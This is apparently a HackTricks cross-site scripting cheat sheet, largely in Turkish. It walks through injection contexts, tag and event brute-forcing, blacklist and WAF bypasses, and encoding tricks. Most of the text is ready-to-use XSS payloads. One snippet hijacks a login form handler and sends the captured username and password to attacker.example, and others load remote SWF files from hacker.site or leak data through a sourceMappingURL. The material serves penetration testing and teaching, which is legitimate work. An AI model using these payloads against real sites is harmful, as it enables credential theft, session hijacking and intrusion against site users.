XSS (Cross Site Scripting)

Reading time: 53 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Metodoloji

  1. Kontrol ettiğiniz herhangi bir değer (parameters, path, headers?, cookies?) HTML'de yansıtılıyor veya JS kodu tarafından kullanılıyor mu diye kontrol edin.
  2. Yansıtıldığı/kullanıldığı bağlamı bulun.
  3. Eğer yansıtılıyorsa
  4. Hangi sembolleri kullanabileceğinizi kontrol edin ve buna göre payload'u hazırlayın:
  5. raw HTML içinde:
  6. Yeni HTML tag'leri oluşturabiliyor musunuz?
  7. javascript: protokolünü destekleyen event'leri veya attribute'ları kullanabiliyor musunuz?
  8. Korumaları atlatabilir misiniz?
  9. HTML içeriği herhangi bir client side JS motoru (AngularJS, VueJS, Mavo...) tarafından yorumlanıyor mu? Bu durumda bir Client Side Template Injection suistimal edilebilir.
  10. Eğer JS çalıştıran HTML etiketleri oluşturamıyorsanız, bir Dangling Markup - HTML scriptless injection suistimal edilebilir mi?
  11. Bir HTML tag içinde:
  12. Attribute'tan ve tag'ten kaçıp raw HTML bağlamına çıkabilir misiniz?
  13. JS kodu çalıştırmak için yeni event/attribute'lar oluşturabilir misiniz?
  14. Değerin yansıtıldığı attribute JS çalıştırmayı destekliyor mu?
  15. Korumaları atlatabilir misiniz?
  16. JavaScript kodu içinde:
  17. <script> tag'inden çıkabilir misiniz?
  18. String'den kaçıp farklı JS kodu çalıştırabilir misiniz?
  19. Girdiniz template literal (``) içinde mi?
  20. Korumaları atlatabilir misiniz?
  21. Çalıştırılan Javascript fonksiyonu
  22. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. Örnek: ?callback=alert(1)
  23. Eğer kullanılıyorsa:
  24. Bir DOM XSS suistimal edebilirsiniz; girdinizin nasıl kontrol edildiğine ve kontrol edilen girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.

Karmaşık bir XSS üzerinde çalışırken şu konu ilginizi çekebilir:

Debugging Client Side JS

Yansıtılan değerler

Başarılı bir XSS exploit'i için ilk bulmanız gereken şey web sayfasında sizin tarafınızdan kontrol edilen ve yansıtılan bir değerdir.

  • Ara aşamada yansıtılan: Eğer bir parametrenin veya path'in değeri web sayfasında yansıtılıyorsa Reflected XSS'ten faydalanabilirsiniz.
  • Stored ve yansıtılan: Eğer sizin kontrolünüzdeki bir değer sunucuda saklanıyor ve bir sayfaya erişimde her seferinde yansıtılıyorsa Stored XSS suistimal edilebilir.
  • JS tarafından erişilen: Eğer sizin kontrolünüzdeki bir değere JS ile erişiliyorsa DOM XSS suistimal edilebilir.

Bağlamlar

XSS'i exploit etmeye çalışırken ilk bilmeniz gereken şey girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak JS kodunu farklı yollarla çalıştırabilirsiniz.

Raw HTML

Girdiniz raw HTML içinde yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag'lerini suistimal etmeniz gerekir: <img , <iframe , <svg , <script ... bunlar kullanabileceğiniz birçok HTML etiketinden sadece birkaçıdır.
Ayrıca Client Side Template Injection aklınızda olsun.

HTML tag attribute değeri içinde

Girdiniz bir tag'ın attribute değerinin içinde yansıtılıyorsa şu denemeleri yapabilirsiniz:

  1. Attribute'tan ve tag'ten kaçmak (o zaman raw HTML bağlamında olursunuz) ve suistimal etmek için yeni HTML tag'i oluşturmak: "><img [...]
  2. Eğer attribute'tan kaçabiliyor ama tag'ten kaçamıyorsanız (> encode edilip siliniyorsa), tag'e bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz: " autofocus onfocus=alert(1) x="
  3. Eğer attribute'tan kaçamıyorsanız (" encode ediliyor veya siliniyorsa), hangi attribute içinde değerin yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin, onclick= gibi bir event'i kontrol ediyorsanız, tıklandığında arbitrar kod çalıştırabilirsiniz. Diğer ilginç bir örnek href attribute'üdür; burada javascript: protokolünü kullanarak arbitrar kod çalıştırabilirsiniz: href="javascript:alert(1)"
  4. Girdiniz "suistimal edilemez tag'lar" içinde yansıtılıyorsa accesskey hilesini deneyebilirsiniz (bunu exploit etmek için bir çeşit sosyal mühendislik gerekir): " accesskey="x" onclick="alert(1)" x="

Angular'ın bir class adını kontrol etmeniz durumunda XSS çalıştırdığı garip örnek:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript kodu içinde

Bu durumda girdiniz bir HTML sayfasının <script> [...] </script> etiketleri arasında, bir .js dosyasının içinde veya javascript: protokolünü kullanan bir attribute içinde yansıtılmıştır:

  • Eğer girdiniz <script> [...] </script> etiketleri arasına yansıtıldıysa, girişiniz herhangi bir tür tırnak içinde olsa bile </script> enjekte ederek bu bağlamdan çıkmayı deneyebilirsiniz. Bu, tarayıcı önce HTML etiketlerini ayrıştıracağı ve sonra içeriği işleyeceği için çalışır; dolayısıyla enjekte ettiğiniz </script> etiketinin HTML kodu içinde olduğunu fark etmez.
  • Eğer inside a JS string içinde yansıtıldıysa ve önceki numara işe yaramıyorsa, string'ten exit etmeniz, kodunuzu execute etmeniz ve JS kodunu reconstruct etmeniz gerekir (herhangi bir hata olursa kod çalıştırılmaz:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Eğer template literals içinde yansıtıldıysa, ${ ... } sözdizimini kullanarak JS ifadelerini embed edebilirsiniz: var greetings = Hello, ${alert(1)}``
  • Unicode encode geçerli javascript code yazmak için işe yarar:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirebilme imkânını ifade eder; bu, bir XSS'in bildirilmeyen değişkenleri veya fonksiyonları kullandığı senaryoları istismar etmenizi sağlar.
Daha fazla bilgi için şu sayfayı inceleyin:

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

Kullanıcıdan doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. 'Vulnerable') ve console'da şu tür hatalara bakmaktır:

Eğer vulnerable ise, yalnızca şu değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1). Ancak bu endpoint'lerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgi ([\w\._]) kabul edecek şekilde doğrulama yaptığını görmek yaygındır.

Ancak bu sınırlama olsa bile bazı işlemleri gerçekleştirmek mümkün. Bunun sebebi, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana erişebilmenizdir:

Bazı faydalı fonksiyonlar için:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to trigger Javascript functions directly: obj.sales.delOrders.

However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.

Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:

SOME - Same Origin Method Execution

DOM

There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.

DOM XSS

Universal XSS

These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Not: A HTML comment can be closed using****-->****or **--!>****

In this case and if no black/whitelisting is used, you could use payloads like:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags'leri oluşturabileceğinizi brute-force ile tespit etmeniz gerekir.\
Hangi tags'lerin izinli olduğunu bulduktan sonra, bulunduğunuz geçerli tags içinde hangi attributes/events'in kullanılabildiğini brute-force ederek bağlama nasıl saldırabileceğinizi görmelisiniz.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

Eğer hiçbir geçerli HTML tag'i bulamadıysanız, custom tag oluşturmaya çalışabilir ve onfocus attribute'u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi # ile sonlandırmanız gerekir; bu sayfanın o nesneye focus olmasını ve kodu execute etmesini sağlar:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Eğer bir tür blacklist kullanılıyorsa, onu bazı basit hilelerle bypass etmeyi deneyebilirsiniz:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload burada bulunabilir ve burada.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Eğer açığı istismar etmek için kullanıcının önceden doldurulmuş verilerle bir linke veya forma tıklaması gerekiyorsa, abuse Clickjacking (eğer sayfa savunmasızsa) deneyebilirsiniz.

Impossible - Dangling Markup

Eğer sadece HTML tagi içinde bir attribute ile JS kodu çalıştırmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü açığı exploit ederek JS çalıştırmadan faydalanabilirsiniz.

HTML etiketi içine enjeksiyon

Etiket içinde / attribute değerinden kaçış

Eğer HTML etiketi içinde iseniz, ilk deneyeceğiniz şey etiketten kaçmak ve JS kodu çalıştırmak için previous sectionda bahsedilen tekniklerden bazılarını kullanmak olabilir.
Eğer etiketten kaçamazsanız, JS kodu çalıştırmayı denemek için etiket içine yeni attribute'lar oluşturabilirsiniz; örneğin şöyle bir payload kullanarak (bu örnekte attribute'dan kaçmak için çift tırnak kullanıldığına dikkat edin; girdiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmaz):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Stil olayları

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Öznitelik içinde

Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

Bypass inside event using HTML encoding/URL encode

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Not: URL encode de çalışacaktır:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Event içinde Unicode encode kullanarak Bypass

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Öznitelik içinde özel protokoller

Orada bazı yerlerde protokoller javascript: veya data: kullanarak keyfi JS kodu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Bu protokolleri enjekte edebileceğiniz yerler

Genel olarak javascript: protokolü href özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src özniteliğini kabul eden etikette de kullanılabilir (ancak <img> değil).

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Diğer obfuscation hileleri

Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir öznitelik içinde bulunuyorsunuz.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Ayrıca, bu durumlar için başka bir güzel hile daha var: javascript:... içindeki girdiniz URL encoded olsa bile, çalıştırılmadan önce URL decoded edilecektir. Dolayısıyla, single quote kullanarak string'den escape etmeniz gerekiyorsa ve it's being URL encoded olduğunu görürseniz, unutmayın ki önemli değil, execution sırasında single quote olarak interpreted edilecektir.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Dikkat: eğer her ikisini de URLencode + HTMLencode'i herhangi bir sırayla kullanarak payload'ı encode etmeye çalışırsanız bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.

Hex ve Octal encode'i javascript: ile kullanma

En azından iframe'in src özniteliği içinde Hex ve Octal encode kullanarak JS çalıştıracak HTML taglarını belirtebilirsiniz:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Eğer rastgele bir <a href= etiketi içine herhangi bir URL enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı suistimal etmek için aşağıdaki sayfayı kontrol edin:

Reverse Tab Nabbing

on Event Handlers Bypass

Öncelikle faydalı "on" event handlers için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bazı blacklist'ler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Buradan artık hidden inputs şu yöntemlerle kötüye kullanılabiliyor:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Ve meta etiketlerinde:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Kaynak here: Bir XSS payload hidden attribute içinde çalıştırabilirsiniz; yeter ki ikna edebilirseniz kurbanı tuş kombinasyonunu basmaya. Firefox (Windows/Linux) için tuş kombinasyonu ALT+SHIFT+X ve OS X için CTRL+ALT+X'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload şu şekilde olacak: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Önceki bölüme ait Blacklist Bypasses of the previous section kısmına bakın.

Bypasses for JavaScript code

Aşağıdaki bölümdeki JavaScript bypass blacklist of the following section kısmını okuyun.

CSS-Gadgets

Eğer web'in çok küçük bir kısmında etkileşim gerektiren bir XSS bulduysanız (ör. footer'da onmouseover içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ancak WAF style attribute'u filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunu bulursanız

.test {display:block; color: blue; width: 100%}

ve

#someid {top: 0; font-family: Tahoma;}

Şimdi linkimizi şu forma getirebilirsiniz

<a href="" id=someid class=test onclick=alert() a="">

Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Bu durumda input'ınız bir .js dosyasının JS kodu içinde veya <script>...</script> tagları arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya javascript: protokolünü kabul eden attributes arasında yansıtılacaktır.

Escaping <script> tag

Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içine yansıtılıyorsa, kolayca </script> kapanışını kaçırabilirsiniz:

javascript
</script><img src=1 onerror=alert(document.domain)>

Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.

JS kodu içinde

Eğer <> filtreleniyorsa, girdinizin bulunduğu yerde string'i escape ederek yine de herhangi bir JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir; çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kullanıcı girdisi alıntılanmış bir JavaScript stringinin içine düştüğünde (ör. server-side echo into an inline script), stringi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:

?param=test";<INJECTION>;a="

Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS'in çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.

Template literals ``

Tekli ve çift tırnakların dışında strings oluşturmak için JS ayrıca backticks `` kabul eder. Bu, template literals olarak bilinir çünkü ${ ... } sözdizimini kullanarak embedded JS expressions'e izin verir.
Dolayısıyla, girdinizin backticks kullanan bir JS stringinin içinde reflected edildiğini görürseniz, ${ ... } sözdizimini kötüye kullanarak arbitrary JS code çalıştırabilirsiniz:

Bu, şu şekilde kötüye kullanılabilir:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodun kodlanarak yürütülmesi

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

eval(atob()) ve scope nüansları içeren teslim edilebilir payloads

URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp eval(atob('...')) ile çalıştırabilirsiniz. Basit anahtar kelime filtreleri alert, eval veya atob gibi identifier'ları engelliyorsa, tarayıcıda tamamen aynı şekilde derlenen ancak string-eşleştirme filtrelerinden kaçan Unicode-escaped identifiers kullanın:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Önemli kapsam nüansı: const/let ile eval() içinde bildirilenler blok kapsamlıdır ve global oluşturmaz; daha sonraki scriptlerden erişilemezler. Gerekli olduğunda global, non-rebindable hooks tanımlamak için dinamik olarak enjekte edilmiş bir <script> elementini kullanın (ör. bir form handler'ı hijack etmek için):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode ile JS yürütmeyi kodlama

javascript
alert(1)
alert(1)
alert(1)

JavaScript blacklistleri atlatma teknikleri

Stringler

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Özel kaçışlar

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk ikameleri

javascript
<TAB>
/**/

JavaScript yorumları (kaynak: JavaScript Comments trick)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript yeni satırlar (kaynak JavaScript new line hile)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript boşluk karakterleri

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript bir yorumun içinde

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript parantezsiz

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
